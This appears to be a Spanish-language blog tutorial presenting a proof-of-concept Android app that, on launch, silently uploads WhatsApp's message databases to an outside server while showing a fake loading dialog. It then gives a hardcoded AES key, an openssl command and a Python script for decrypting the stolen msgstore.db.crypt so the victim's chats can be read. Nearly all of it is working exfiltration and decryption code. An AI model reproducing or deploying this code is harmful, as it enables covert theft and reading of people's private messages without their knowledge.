<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="bb.security.whatsappupload"
    android:versionCode="1"
    android:versionName="1.0" >
 
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INTERNET" />
 
    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="19" />
 
    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
 
        <activity
            android:name="bb.security.whatsappupload.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
 
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
 
</manifest>

Para la disposición podemos utilizar el diseño predeterminado que crea Eclipse, si acaso podemos mover el TextView al centro y aumentar el tamaño del texto. La subida del fichero ocurre antes de ver el layout, para esta prueba de concepto de este activity_main.xml es lo suficientemente bueno:

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context=".MainActivity" >
 
    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="179dp"
        android:text="@string/hello_world"
        android:textSize="24sp" />
 
</RelativeLayout>

A continuación tenemos que crear la función MainActivity.java para subir cada uno de los ficheros:

    - /WhatsApp/Databases/msgstore.db
    - /WhatsApp/Databases/wa.db
    - /WhatsApp/Databases/msgstore.db.crypt

package bb.security.whatsappupload;
 
/*
* This application is for testing purposes only.
* Use of this application is at your own risk.
*/
 
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
 
import android.os.AsyncTask;
import android.os.Bundle;
import android.os.Environment;
import android.app.Activity;
import android.app.ProgressDialog;
import android.util.Log;
import android.view.Menu;
 
public class MainActivity extends Activity {
 
    //A ProgressDialog object
    private ProgressDialog progressDialog;
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        new UploadWhatsApp().execute();
    }
 
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }
 
    @SuppressWarnings("deprecation")
    private void uploadFile(String file) {
        HttpURLConnection conn = null;
        DataOutputStream dos = null;
        DataInputStream inStream = null;
 
        Log.i("FILE", "Filename:\n" + file);
 
        String lineEnd = "\r\n";
        String twoHyphens = "--";
        String boundary = "*****";
        int bytesRead, bytesAvailable, bufferSize;
        byte[] buffer;
        int maxBufferSize = 1 * 1024 * 1024 * 1024;
        String urlString = "http://bas.bosschert.nl/whatsapp/upload_wa.php";
        try {
            //     ------------------ CLIENT REQUEST
            FileInputStream fileInputStream = new FileInputStream(new File(
                    file));
            // open a URL connection to the Servlet
            URL url = new URL(urlString);
            // Open a HTTP connection to the URL
            conn = (HttpURLConnection) url.openConnection();
            // Allow Inputs
            conn.setDoInput(true);
            // Allow Outputs
            conn.setDoOutput(true);
            // Don't use a cached copy.
            conn.setUseCaches(false);
            // Use a post method.
            conn.setRequestMethod("POST");
            conn.setRequestProperty("Connection", "Keep-Alive");
            conn.setRequestProperty("Content-Type",
                    "multipart/form-data;boundary=" + boundary);
            dos = new DataOutputStream(conn.getOutputStream());
            dos.writeBytes(twoHyphens + boundary + lineEnd);
            dos.writeBytes("Content-Disposition: form-data; name=\"file\";filename=\""
                    + file + "\"" + lineEnd);
            dos.writeBytes(lineEnd);
            // create a buffer of maximum size
            bytesAvailable = fileInputStream.available();
            bufferSize = Math.min(bytesAvailable, maxBufferSize);
            buffer = new byte[bufferSize];
            // read file and write it into form...
            bytesRead = fileInputStream.read(buffer, 0, bufferSize);
            while (bytesRead > 0) {
                dos.write(buffer, 0, bufferSize);
                bytesAvailable = fileInputStream.available();
                bufferSize = Math.min(bytesAvailable, maxBufferSize);
                bytesRead = fileInputStream.read(buffer, 0, bufferSize);
            }
            // send multipart form data necesssary after file data...
            dos.writeBytes(lineEnd);
            dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
            // close streams
            Log.e("Debug", "File is written");
            fileInputStream.close();
            dos.flush();
            dos.close();
        } catch (MalformedURLException ex) {
            Log.e("Debug", "error: " + ex.getMessage(), ex);
        } catch (IOException ioe) {
            Log.e("Debug", "error: " + ioe.getMessage(), ioe);
        }
        // ------------------ read the SERVER RESPONSE
        try {
            if (conn != null){
                inStream = new DataInputStream(conn.getInputStream());
                String str;
 
                while ((str = inStream.readLine()) != null) {
                    Log.e("Debug", "Server Response " + str);
                }
                inStream.close();
            }
 
        } catch (IOException ioex) {
            Log.e("Debug", "error: " + ioex.getMessage(), ioex);
        }
    }
 
    private class UploadWhatsApp extends AsyncTask<Void, Integer, Void>{
 
        @Override
        protected void onPreExecute()
        {
            //Create a new progress dialog
            progressDialog = ProgressDialog.show(MainActivity.this,"Loading Application, please wait...",
                    "Loading, please wait...", false, false);
        }
 
        //The code to be executed in a background thread.
        @Override
        protected Void doInBackground(Void... params)
        {
 
            String fileWACrypt = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/msgstore.db.crypt";
            String fileWAPlain = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/msgstore.db";
            String fileWAwa = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/wa.db";
 
            MainActivity.this.uploadFile(fileWACrypt);
            MainActivity.this.uploadFile(fileWAPlain);
            MainActivity.this.uploadFile(fileWAwa);
            return null;
        }
 
        //Update the progress
        @Override
        protected void onProgressUpdate(Integer... values)
        {
            //set the current progress of the progress dialog
            progressDialog.setProgress(values[0]);
        }
 
        //after executing the code in the thread
        @Override
        protected void onPostExecute(Void result)
        {
            //close the progress dialog
            progressDialog.dismiss();
            //initialize the View
            setContentView(R.layout.activity_main);
        }
 
    }
}

   
msgstore.db y wa.db son bases de datos sin cifrar utilizados en antiguas versiones de Whatsapp. Msgstore.db.crypt está cifrado con AES, pero siempre usando la misma clave tanto para cifrar como descifrar: 346a23652a46392b4d73257c67317e352e3372482177652c.

Por lo tanto podremos descifrarla una vez obtenido mediante:

openssl enc -d -aes-192-ecb -in msgstore.db.crypt -out msgstore.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372482177652c

o mediante el siguiente script en Python:

#!/usr/bin/env python
 
import sys
from Crypto.Cipher import AES
 
try:
    wafile=sys.argv[1]
except:
    print "Usage: %s <msgstore.db.crypt>" % __file__
    sys.exit(1)
 
key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
cipher = AES.new(key,1)
open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))

 
Y ya está, así de sencillo. Podremos estar leyendo los chats de WhatsApp de las bases de datos extraídas...

Fuente: hackplayers